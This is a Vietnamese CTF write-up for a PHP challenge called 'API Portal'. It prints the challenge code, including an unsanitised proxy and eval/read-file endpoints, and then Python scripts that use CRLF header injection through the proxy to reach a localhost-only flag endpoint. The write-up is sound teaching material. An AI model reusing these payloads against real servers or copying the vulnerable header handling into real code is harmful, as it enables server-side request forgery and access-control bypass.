---
# System prepended metadata

title: API Portal - fall gon ctf 202?

---

# API Portal - fall gon ctf 202?

## Foreword
Một bài `php` khá thú vị trong giải fall gon ctf 2022 thì phải, bài này mình được một người bạn giới thiệu cho, cơ bản nó dễ nhưng phải đọc hiểu luồng mới có thể làm được, chính vì chuyện đọc hiểu luồng mới hiểu được nên mới có cái bài này :V. Chuyện là mình đang lục lại mấy bài ctf cũ để làm thì thấy lại bài này, mình vẫn để file solve nhưng đọc lại mình chả hiểu gì nên quyết định ngồi làm lại luôn -> bài này được đẻ, chém gió nhiều rồi bắt đầu thôi.

## Setup
Để có trải nghiệm tốt nhất thì nên build chall này ở máy áo rồi ra máy thật làm. Ngoài ra thì ta cần tạo thêm thư mục `api-portal` trong `/tmp`.

## Information Gathering
Vì là một bài php, đầu tiên ta đọc `index.php` trước xem có gì.

```php=
<?php

$action = $_GET["action"] ?? "main";

switch($action) {
    case "main":
        break;
    case "help":
        break;
    
    // Safe key-value DB API
    case "db/create":
        $param = array($_GET["key"]);
        break;
    case "db/list":
        break;
    case "db/delete":
        $param = array($_GET["key"]);
        break;
    case "db/save":
        $param = array($_GET["dbkey"], $_GET["key"], $_GET["value"]);
        break;
    case "db/read":
        $param = array($_GET["dbkey"], $_GET["key"]);
        break;

    // Network-related API
    case "net/proxy/get":
        $param = array($_GET["url"], $_SERVER["REMOTE_ADDR"], urldecode($_SERVER["REQUEST_URI"]));
        break;
    case "net/proxy/post":
        $param = array($_GET["url"], $_SERVER["REMOTE_ADDR"], urldecode($_SERVER["REQUEST_URI"])); //TODO: implement POST data
        break;
    case "net/ping":
        $param = array($_GET["target"]);
        break;
    case "net/nslookup":
        $param = array($_GET["domain"], $_GET["record"]);
        break;

    // For your treat
    case "cheat/read-file":
        $param = array($_GET["name"]);
        break;
    case "cheat/eval":
        $param = array($_GET["code"]);
        break;
    case "cheat/phpinfo":
        break;

    // Flag
    case "flag/flag":
        $param = array($_GET["flag"]);
        break;

    default:
        $action = "main";
        break;
}

include "action/$action.php";

```

Tại index sẽ nhận biến GET là `action`, ở đây sẽ xử lí theo các path như các case bên dưới, mỗi case sẽ xử lí một function khác nhau. Nhờ đề bài cũng như đọc tên hàm tí thì hình dung được tác giả đang code một cái API có gần như đầy đủ chức năng, nhưng `write` thì không thấy, nhưng kệ nó đi. Giờ mình sẽ phân tích các function quan trọng trong việc giải bài này. 

Đây là `action/create.php`, tại index thì khi nhận action này, nó sẽ nhận kèm thêm một param là `key`

```php=
<?php

@mkdir("/tmp/api-portal/db");

$real_key = md5($param[0]);
@mkdir("/tmp/api-portal/db/$real_key");
die("success");
```

Trong `create.php` nó sẽ tạo ra thư mục `tmp/api-portal/db/<md5 của cái key nhận ở trên`. Sau khi create thì ta sẽ save nó tại action `save.php`, ở đây nhận thêm param `dbkey`, `key` và `value`

```php=
<?php
// $param = array($_GET["dbkey"], $_GET["key"], $_GET["value"]);
$db_key = md5($param[0]);
$value_key = md5($param[0].$param[1]);
$value = base64_encode($param[2]);

@file_put_contents("/tmp/api-portal/db/$db_key/$value_key", $value);
echo "success";
```

Ở đây nó sẽ lưu `key` và `value` theo `dbkey` đã tạo trong `create` bằng cách tạo ra file có tên là md5 của dbkey với key, value sẽ được lưu trong file này dưới dạng base64.

/net/post.php
```php=
<?php
//TODO: Change to php-curl
//$param = array($_GET["url"], $_SERVER["REMOTE_ADDR"], urldecode($_SERVER["REQUEST_URI"])); //TODO: implement POST data
$url = "http://".$param[0]; //TODO: support ssl context
$ip = $param[1];
$referer = $param[2];

$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";

$ctx = stream_context_create(array(
    'http' => array(
        'method' => 'POST',
        "content" => "", //TODO: implement
        'header' => $header
    )
));

die(file_get_contents($url, null, $ctx));
```

API thì tất nhiên cũng sẽ có xử lí request, tại file này thì đơn giản chỉ là nhận param `url` và giá trị của REMOTE_ADDR hay REQUEST_URI. Những param trên sẽ được ghép lại thành một request hoàn chỉnh. TUY NHIÊN ta có thể thấy cách ghép này không hề có một cơ chế sanitize hay filter gì cả -> request smuggling hoàn toàn được.

File quan trọng cuối cùng sẽ là flag/flag.php
```php=
<?php
include "_flag.php";
//die($_SERVER["REMOTE_ADDR"]);
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" || $_SERVER["REMOTE_ADDR"] === "::1") {
    if($_POST["mode"] === "write" && isset($_POST["dbkey"]) && isset($_POST["key"])) {
        $k1 = md5($_POST["dbkey"]);
        $k2 = md5($_POST["dbkey"].$_POST["key"]);
        $value = base64_encode($flag);

        @file_put_contents("/tmp/api-portal/db/$k1/$k2", $value);
        die("success");
    }
}

$x = $flag;
for($i = 0; $i < 1337; $i++)
    $x = sha1($x);

header("Content-Type: text/plain");


die(<<<EOF
--API Portal Doc--
Endpoint: flag/flag
Method: POST
Parameter: [POST] mode "write" (mandatory)
Parameter: [POST] dbkey
Parameter: [POST] key

Update (dbkey->key)'s value of the Key-Value storage with flag


Fun fact: (sha1 * sha1 * ... sha1)(flag) == $x (1337 times)
EOF);
```

File này có chức năng write mà tại /db/ không có, file này chủ yếu xử lí việc write `flag` vào một file bất kì trong db, tuy nhiên thì ta cần phải là 127.0.0.1. Nhớ lại ở trên thì tại xử lí post request, ta hoàn toàn có thể thực hiện request smuggling nên why not smuggle this request to read the flag ????

## Request Smuggling

Vậy giờ cứ theo chiến lược này mà mình bắt đầu làm thôi, đầu tiên ta sẽ tạo một dbkey tại `create.php`

![](https://i.imgur.com/fOv5kPj.png)

Thực hiện lưu một value bất kì tại `save.php`

![](https://i.imgur.com/dXP39Hr.png)

Thử đọc thì thấy ta save được rùi nè

![](https://i.imgur.com/BC9vFoQ.png)

Giờ thì ta sẽ request smuggling thôi, request bình thường của /net/proxy/post thực hiện sẽ như sau

```
POST $/{url} HTTP/1.1
User-Agent: API Portal Proxy
X-Forwarded-For: {$ip}
X-Api-Referer: {$referer}
```

Để dùng được flag/flag, ta sẽ smug nó thành như sau

```
POST /127.0.0.1?action=flag/flag
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

mode=write&dbkey=vjp&key=vjp
// đoạn sau này bị bỏ
HTTP/1.1
User-Agent: API Portal Proxy
X-Forwarded-For: {$ip}
X-Api-Referer: {$referer}
```

Lúc này value của cái key vjp ta tạo ở trên sẽ bị ghi đè bởi flag. Vậy chỉ cần tạo một request tới proxy/post smug theo đúng những gì ta miêu tả ở trên nữa là được, mình sẽ dùng python requests cho tiện.

```python!
import requests

url = 'http://10.0.3.133/'
r = requests.get(url + '?action=net/proxy/post&url=127.0.0.1%3faction=flag/flag&%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 28%0d%0a%0d%0amode=write&dbkey=vjp&key=vjp')
print(r.text)
```

Script sẽ chạy lâu một xíu, chạy xong read lại cái key là thấy phờ lác 

![](https://i.imgur.com/5lhIdpq.png)

script one hit read flag

```python!
import requests

url = 'http://10.0.3.133/'

r = requests.get(url + '?action=db/create&key=vjp')
print(r.text)

r = requests.get(url + '?action=db/save&dbkey=vjp&key=vjp&value=flaghere')
print(r.text)

r = requests.get(url + '?action=net/proxy/post&url=127.0.0.1%3faction=flag/flag&%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 28%0d%0a%0d%0amode=write&dbkey=vjp&key=vjp')
print(r.text)

r = requests.get(url + '?action=db/read&dbkey=vjp&key=vjp')
print(r.text)
```

![](https://i.imgur.com/Xf1JibC.png)

## Conclusion
Bài này theo mình nói ban đầu thì cũng chả mấy khó gì, quan trọng ở chỗ là đọc hiểu được luồng code thôi, cũng khá thú dị kkk